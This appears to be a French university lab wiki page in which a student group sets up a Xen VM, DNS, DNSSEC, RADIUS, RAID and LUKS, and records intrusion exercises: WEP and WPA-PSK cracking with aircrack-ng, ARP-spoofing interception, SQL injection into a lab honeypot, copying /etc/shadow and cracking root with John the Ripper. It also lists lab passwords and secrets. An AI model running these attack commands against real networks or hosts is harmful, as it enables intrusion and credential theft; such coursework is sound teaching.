belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut<br />
belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=<br />
belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY<br />
belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=<br />
belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=<br />
belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800<br />
<br />
= Tests d'intrusion =<br />
<br />
== Exploitation de failles du système ==<br />
<br />
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. > https://github.com/mzet-/linux-exploit-suggester<br />
<br />
En suivant la documentation :<br />
<br />
$ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh<br />
$ chmod +x les.sh && ./les.sh<br />
<br />
On obtient les failles suivantes (audit réalisé sur notre VM) :<br />
<br />
[+] [CVE-2021-27365] linux-iscsi<br />
...<br />
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write<br />
...<br />
[+] [CVE-2019-13272] PTRACE_TRACEME<br />
...<br />
<br />
== Cassage de clef WEP d’un point d’accès WiFi ==<br />
<br />
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :<br />
<br />
$ airmon-ng<br />
<br />
On trouve l'interface suivante :<br />
<br />
wlx40a5ef0127d0<br />
<br />
On essaie de démarrer l'interface sur le channel 3 :<br />
<br />
$ airmon-ng start wlx40a5ef0127d0 3<br />
<br />
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement "wlan0mon". On ré-utilise la commande précédente avec le nouveau nom d'interface :<br />
<br />
$ airmon-ng start wlan0mon 3<br />
<br />
On écoute ensuite tous les paquets dans l'air :<br />
<br />
$ airodump-ng wlan0mon<br />
<br />
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.<br />
<br />
$ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon<br />
<br />
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :<br />
<br />
$ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon<br />
<br />
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :<br />
<br />
$ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon<br />
<br />
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.<br />
<br />
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :<br />
<br />
$ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap<br />
<br />
On obtient alors :<br />
<br />
KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]<br />
Decrypted correctly: 100%<br />
<br />
== Cassage de mot de passe WPA-PSK par force brute ==<br />
<br />
$ airmon-ng<br />
$ airmon-ng start wlan0mon 9<br />
$ airodump-ng wlan0mon<br />
<br />
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :<br />
<br />
$ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon<br />
<br />
On crée le dictionnaire contenant toutes les clefs à tester avec la commande <code>crunch</code><br />
<br />
$ crunch 8 8 0123456789 -o dictionnaire.lst<br />
<br />
Pour savoir si un Handshake a été trouvé, on utilise la commande :<br />
<br />
$ aircrack-ng psk*.cap<br />
<br />
On trouve : <br />
<br />
# BSSID ESSID Encryption<br />
1 44:AD:D9:5F:87:05 kracotte06 WPA (1 handshake)<br />
<br />
On peut alors lancer la commande de test des clefs :<br />
<br />
$ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap<br />
<br />
Après un peu d'attente, on obtient la clef suivante :<br />
<br />
KEY FOUND! [ 59906999 ]<br />
<br />
== Attaque de type "homme au milieu" par usurpation ARP ==<br />
<br />
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.<br />
<br />
On fait :<br />
<br />
$ echo 1 > /proc/sys/net/ipv4/ip_forward<br />
<br />
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):<br />
<br />
$ arpspoof -t 172.26.145.61 172.26.145.254<br />
<br />
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.<br />
<br />
== Intrusion sur un serveur d’application Web ==<br />
<br />
Sur honey.plil.info : <br />
<br />
1. injection SQL<br />
<br />
2. connexion en tant qu'admin<br />
<br />
3. telechargement du fichier "config-db.php" (On remarque que il existe une BDD phpmyadmin) et "database.php" (ce fichier semble lui ne pas nous apporter d'informations)<br />
<br />
4. honey.plil.info/phpmyadmin -> connexion avec les logins trouvés dans le fichier "config-db.php" (phpmyadmin et gencovid19). On trouve alors une table "pma_users" indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).<br />
<br />
5. en essayant le mdp "gencovid19" avec ces identifiants sur phpmyadmin : on peut se connecter en tant que "root" sur la BDD et on trouve le mdp de rex dans la bdd "test" et table "users".<br />
<br />
6. connexion en ssh sur rex@honey.plil.info.<br />
<br />
7. comme indication : "le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets". Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo => bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :<br />
<br />
$ crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico.txt<br />
<br />
Et on double la taille des mots :<br />
<br />
$ sed -i 's/\(.*\)/\1\1/' dico.txt<br />
<br />
On copie ensuite les fichiers "/etc/passwd" et "/etc/shadow" de rex@honey.plil.info sur notre zabeth. <br />
<br />
$ scp rex@honey.plil.info:/etc/passwd .<br />
$ scp rex@honey.plil.info:/etc/shadow .<br />
<br />
On utilise alors l'utilitaire "shadow" pour obtenir un fichier contenant le mot de passe haché de root :<br />
<br />
$ unshadow passwd shadow | head -1 > honey<br />
<br />
Puis on utilise "John the Ripper" pour cracker le mot de passe :<br />
<br />
$ john -w:dico.txt honey<br />
<br />
Après quelques minutes, on peut afficher le mot de passe trouvé :<br />
<br />
$ john --show honey<br />
root:fortfort:0:0:root:/root:/bin/bash<br />
1 password hash cracked, 0 left<br />
<br />
On trouve le mot de passe de root@honey.plil.info qui est "fortfort".<br />
<br />
= Point d'accès Wi-Fi authentifié via FreeRADIUS =<br />
<br />
== Configuration du point d'accès ==<br />
<br />
=== Point d'accès ===<br />
<br />
Tout d'abord il faut configurer l'authentification EAP dans la configuration :<br />
<br />
conf t<br />
<br />
aaa new-model<br />
aaa authentication login eap_rose group radius_rose<br />
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin<br />
aaa group server radius radius_rose<br />
server 193.48.57.181 auth-port 1812 acct-port 1813<br />
exit<br />
<br />
Configurons le SSID :<br />
<br />
conf t<br />
<br />
dot11 ssid SSID_ROSE<br />
vlan 5<br />
authentication open eap eap_rose<br />
authentication network-eap eap_rose<br />
authentication key-management wpa<br />
mbssid guest-mode<br />
exit<br />
exit<br />
<br />
On associe notre SSID à l'interface WIFI :<br />
<br />
conf t<br />
<br />
interface Dot11Radio0<br />
encryption vlan 5 mode ciphers aes-ccm tkip<br />
ssid SSID_ROSE<br />
mbssid<br />
exit<br />
exit<br />
<br />
On paramètre notre VLAN (5)<br />
<br />
conf t<br />
<br />
interface Dot11Radio0.5<br />
encapsulation dot1Q 5<br />
no ip route-cache<br />
bridge-group 5<br />
bridge-group 5 subscriber-loop-control<br />
bridge-group 5 spanning-disabled<br />
bridge-group 5 block-unknown-source<br />
exit<br />
exit<br />
<br />
On configure l'interface filaire<br />
<br />
conf t<br />
<br />
interface GigabitEthernet0.5<br />
encapsulation dot1Q 5<br />
bridge-group 5<br />
exit<br />
exit<br />
<br />
Enfin, on configure l'IP de l'AP et sa gateway<br />
<br />
conf t<br />
<br />
ip default-gateway 10.1.0.1<br />
interface BVI 1<br />
ip address 10.1.0.3 255.255.255.0<br />
exit<br />
exit<br />
<br />
=== Routeur ===<br />
<br />
Commençons par configurer le VLAN 1 <br />
<br />
conf t<br />
<br />
interface vlan 1<br />
ip address 10.1.0.1 255.255.255.0<br />
exit<br />
exit<br />
<br />
Puis on configure le port (ici Gi1/0/3<br />
<br />
conf t<br />
<br />
interface Gi1/0/3<br />
switchport<br />
switchport mode trunk<br />
switchport trunk allowed vlan add 1<br />
exit<br />
exit<br />
<br />
Et voilà mon grand<br />
<br />
== Serveur FreeRADIUS ==<br />
<br />
Installation de freeRADIUS<br />
<br />
apt install freeradius<br />
<br />
On commence par configurer <code>/etc/freeradius/3.0/clients.conf</code> à détailler<br />
<br />
client zozo {<br />
ipaddr = 10.1.0.3/24<br />
secret = zinzin<br />
}<br />
<br />
ensuite <code>/etc/freeradius/3.0/eap.conf</code><br />
<br />
eap {<br />
[...]<br />
default_eap_type = peap<br />
}<br />
<br />
puis <code>/etc/freeradius/3.0/users</code><br />
<br />
[...]<br />
root Cleartext-Password := "glopglop"<br />
<br />
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug <code>freeradius -X</code> (après avoir au préalable stoppé le processus)<br />
<br />
= Réalisations =<br />
<br />
== Sécurisation des données (RAID 5) ==<br />
<br />
Nous avons besoin de 3 LV à rajouter à notre VM :<br />
<br />
$ lvcreate -L1G -n Bellerose-raid1 storage<br />
$ lvcreate -L1G -n Bellerose-raid2 storage<br />
$ lvcreate -L1G -n Bellerose-raid3 storage<br />
<br />
Nous pouvons ainsi les rajouter à la configuration de notre VM (<code>/etc/xen/Bellerose.cfg</code>):<br />
<br />
'phy:/dev/storage/Bellerose-raid1,xvda5,w'<br />
'phy:/dev/storage/Bellerose-raid2,xvda6,w'<br />
'phy:/dev/storage/Bellerose-raid3,xvda7,w'<br />
<br />
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.<br />
<br />
$ apt install mdadm<br />
<br />
On va ensuite créer un disque nommé <code>/dev/md0</code> grâce à <code>mdadm</code> :<br />
<br />
$ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7<br />
<br />
On peut ainsi vérifier que notre RAID 5 est effectif :<br />
<br />
$ lsblk<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
xvda1 202:1 0 512M 0 disk [SWAP]<br />
xvda2 202:2 0 4G 0 disk /<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
xvda5 202:5 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda6 202:6 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda7 202:7 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
<br />
Enfin il faut monter ce disque fraîchement créé :<br />
<br />
$ mkfs.ext4 /dev/md0<br />
$ mkdir /media/raid<br />
<br />
on ajoute cette ligne dans <code>/etc/fstab</code> :<br />
<br />
/dev/md0 /media/raid ext4 defaults 0 1<br />
<br />
puis<br />
<br />
$ mount -a<br />
<br />
et toc<br />
<br />
== Chiffrement des données ==<br />
<br />
On branche la clé USB sur le petit PC bleu, et on lance <code>lsblk</code> et on trouve :<br />
<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
sda 8:0 1 7,2G 0 disk <br />
<br />
Donc on peut formater la clef qui contient déjà quelque chose dessus :<br />
<br />
$ mkfs.ext4 /dev/sda<br />
<br />
Avec <code>cryptsetup</code> on peut initialiser la clef et lui donner un mdp :<br />
<br />
$ cryptsetup luksFormat /dev/sda<br />
<br />
On crée une partition chiffrée sur la clé :<br />
<br />
$ cryptsetup luksOpen /dev/sda data<br />
<br />
Et on formate :<br />
<br />
$ mkfs.ext4 /dev/mapper/data<br />
<br />
On monte cette partition pour lui permettre de contenir des fichiers :<br />
<br />
$ mkdir /mnt/data-usb<br />
$ mount -t ext4 /dev/mapper/data /mnt/data-usb<br />
<br />
On y ajoute donc un fichier de test :<br />
<br />
$ touch /mnt/data-usb/boujour.txt<br />
<br />
Puis on démonte et on ferme le volume chiffré<br />
<br />
$ umont /mnt/data-usb<br />
$ cryptsetup luksClose data<br />
<br />
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.<br />
<br />
= ASR lab project =<br />
<br />
== Ansible hello world ==<br />
<br />
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :<br />
<br />
<code>roles/ssh_key/tasks/main.yml</code><br />
---<br />
<br />
- name: Create .ssh if it does not exists<br />
file:<br />
path: ~/.ssh<br />
state: directory <br />
<br />
- name: Copy authorized_keys<br />
copy:<br />
src: authorized_keys<br />
dest: ~/.ssh/authorized_keys<br />
<br />
Ce dernier prend le fichier <code>../files/authorized_keys</code> (local) et le place dans <code>~/.ssh</code> (vm) après avoir créé ce répertoire si besoin.<br />
<br />
== Iptables ==<br />
<br />
CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM<br />
<br />
== Consul ==<br />
<br />
Le fichier <code>roles/consul/tasks/main.yml</code> contient :<br />
<br />
---<br />
<br />
- name: Create consul group<br />
group:<br />
name: consul<br />
state: present<br />
gid: 666<br />
<br />
- name: Create consul user<br />
user:<br />
name: consul<br />
state: present<br />
uid: 666<br />
group: consul<br />
<br />
- name: Create dirs<br />
file:<br />
state: directory<br />
path: "{ { item } }"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- /etc/consul<br />
- /var/lib/consul<br />
<br />
- name: Add HashiCorp key<br />
apt_key:<br />
url: https://apt.releases.hashicorp.com/gpg<br />
state: present<br />
<br />
- name: Add HashiCorp repo<br />
apt_repository:<br />
repo: "deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main"<br />
state: present<br />
update_cache: true<br />
<br />
- name: Install Consul<br />
package:<br />
name: consul<br />
state: present<br />
<br />
- name: Put config<br />
copy:<br />
src: "{{ item }}"<br />
dest: "/etc/consul/{{ item }}"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- config.json<br />
- web.json<br />
<br />
- name: Add consul systemd service file<br />
copy:<br />
src: consul.service<br />
dest: /etc/systemd/system/consul.service<br />
register: systemd<br />
<br />
- name: Deamon reload<br />
systemd:<br />
daemon_reload: true<br />
when: systemd.changed<br />
<br />
- name: Start consul service<br />
systemd:<br />
name: consul<br />
state: restarted<br />
enabled: yes<br />
<br />
Le fichier <code>roles/consul/files/config.json</code> contient :<br />
<br />
{<br />
"datacenter": "polytech",<br />
"data_dir": "/var/lib/consul",<br />
"log_level": "INFO",<br />
"node_name": "jsp",<br />
"server": true,<br />
"bind_addr": "172.26.145.106",<br />
"bootstrap": true,<br />
"bootstrap_expect": 1,<br />
"ui": true,<br />
"client_addr": "0.0.0.0"<br />
}<br />
<br />
Et le fichier <code>roles/consul/files/web.json</code> contient : <br />
<br />
{<br />
"service": {<br />
"name": "web-bellerose",<br />
"tags": ["boris","louis","web"],<br />
"port": 80<br />
},<br />
<br />
"check": {<br />
"id": "webport",<br />
"name": "Simple HTTP GET",<br />
"method": "GET",<br />
"http": "http://172.26.145.106",<br />
"interval": "10s",<br />
"timeout": "1s"<br />
}<br />
}<br />
<br />
Oui, rien n'est variabilisé mais le principe est là.</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&diff=58010TP sysres IMA5 2021/2022 G62022-01-12T12:38:19Z<p>Lwadbled : /* Consul */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
=Création de la machine virtuelle=<br />
<br />
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :<br />
<br />
$ export http_proxy=http://proxy.plil.fr:3128<br />
<br />
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.<br />
<br />
$ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.<br />
<br />
$ lvcreate -L10G -n Bellerose1 storage<br />
$ lvcreate -L10G -n Bellerose2 storage<br />
<br />
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :<br />
<br />
$ mkfs.ext4 /dev/storage/Bellerose1<br />
$ mkfs.ext4 /dev/storage/Bellerose2<br />
<br />
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.<br />
<br />
$ vim /etc/xen/Bellerose.cfg<br />
disk = [<br />
'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',<br />
'phy:/dev/storage/Bellerose1,xvda3,w',<br />
'phy:/dev/storage/Bellerose2,xvda4,w'<br />
]<br />
vif = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]<br />
<br />
On peut maintenant lancer notre machine virtuelle :<br />
<br />
$ xl create -c /etc/xen/Bellerose.cfg<br />
<br />
Avec la commande :<br />
<br />
$ cat /etc/fstab<br />
<br />
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :<br />
<br />
$ mkdir /mnt/xvda3<br />
$ mkdir /mnt/xvda4<br />
$ mount /dev/xvda3 /mnt/xvda3<br />
$ mount /dev/xvda4 /mnt/xvda4<br />
<br />
Puis on déplace le répertoire var dans le disque xvda4 :<br />
<br />
$ mv /var/* /mnt/xvda4<br />
<br />
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :<br />
<br />
# /home vers xvda3<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
# /var vers xvda4<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
On monte le tout à l'aide de la commande :<br />
<br />
mount -a<br />
<br />
Enfin avec lsblk, on peut voir les deux partitions de notre VM :<br />
<br />
$ lsblk<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
<br />
Enfin, nous activons l'IPv6 sur l'interface en modifiant <code>/etc/network/interfaces</code><br />
<br />
iface eth0 inet6 auto<br />
<br />
Pour quitter la VM : CTRL+]<br />
<br />
= Services Internet =<br />
<br />
== Serveur SSH ==<br />
<br />
$ apt install openssh-server<br />
<br />
on édite le fichierde conf <code>/etc/ssh/sshd_config</code> (via ssh key) :<br />
<br />
PermitRootLogin without-password // je l'ai repassé en "yes" suite au mail et le mdp root est celui de pifou habituel <br />
PubkeyAuthentication yes<br />
<br />
après on reload la conf<br />
<br />
$ systemctl reload ssh<br />
<br />
On génère une clé ssh depuis notre zabeth avec <code>ssh-keygen -t ed25519</code> et on l'ajoute dans <code>/.ssh/authorized_keys</code> et c'est gooooood<br />
<br />
== Serveur DNS ==<br />
<br />
on achète le ndd<br />
<br />
on crée un "Glue Record" pour notre nameserver <code>ns1.belle-rose.site</code><br />
<br />
on install bind<br />
<br />
$ apt install bind9<br />
<br />
on configure <code>/etc/resolv.conf</code><br />
<br />
nameserver 127.0.0.1<br />
<br />
on configure bind <code>/etc/bind/named.conf.local</code><br />
<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute nos ns <code>/etc/bind/db.belle-rose.site</code><br />
<br />
;<br />
; BIND dans ta face<br />
;<br />
$TTL 604800<br />
@ IN SOA ns1.belle-rose.site. postmaster.belle-rose.site. (<br />
2 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns1.belle-rose.site.<br />
@ IN NS ns6.gandi.net.<br />
ns1 IN A 193.48.57.181<br />
<br />
Ensuite on peut tester notre conf avec<br />
<br />
$ host -t any ns1.belle-rose.site localhost<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
ns1.belle-rose.site has address 193.48.57.181<br />
<br />
Et on incrémente aussi le Serial dans <code>/etc/bind/db.belle-rose.site</code> à 3.<br />
<br />
== Certificat ==<br />
<br />
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat <code>Let's Encrypt</code>. Après avoir installé <code>certbot</code>, on utilise simplement la commande :<br />
<br />
certbot --apache<br />
<br />
https://www.belle-rose.site/ IZOK<br />
<br />
== DNSSEC ==<br />
<br />
On suit les étapes suivantes :<br />
<br />
1. On ajoute l’option <code>dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code><br />
<br />
2. On crée un répertoire <code>belle-rose.site.dnssec</code> pour y générer les clefs<br />
<br />
3. On crée la clef asymétrique de signature de clefs de zone :<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site<br />
<br />
4. On crée la clef asymétrique de la zone pour signer les enregistrements<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site <br />
<br />
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
$ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key<br />
$ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key<br />
$ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private<br />
$ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private<br />
<br />
6. On inclue les clefs publiques dans votre fichier de zone <code>/etc/bind/db.belle-rose.site</code>, et on incrémente le numéro de version de la zone ;<br />
<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key<br />
<br />
7. On signe les enregistrements de la zone ;<br />
<br />
$ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk<br />
<br />
8. On modifie le fichier <code>named.conf.local</code> pour utiliser la zone signée de suffixe .signed :<br />
<br />
$ vim ../named.conf.local<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section "Manage DNSSEC" puis "DNS servers")<br />
<br />
root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key <br />
; This is a key-signing key, keyid 22094, for belle-rose.site.<br />
; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
<br />
(on copie que la partie chiffrée, pas le record DNSKEY)<br />
<br />
10. Enfin, nous pouvons tester la configuration:<br />
<br />
root@Bellerose:~# host -t any belle-rose.site<br />
belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=<br />
belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F<br />
belle-rose.site name server ns6.gandi.net.<br />
belle-rose.site name server ns1.belle-rose.site.<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==<br />
belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
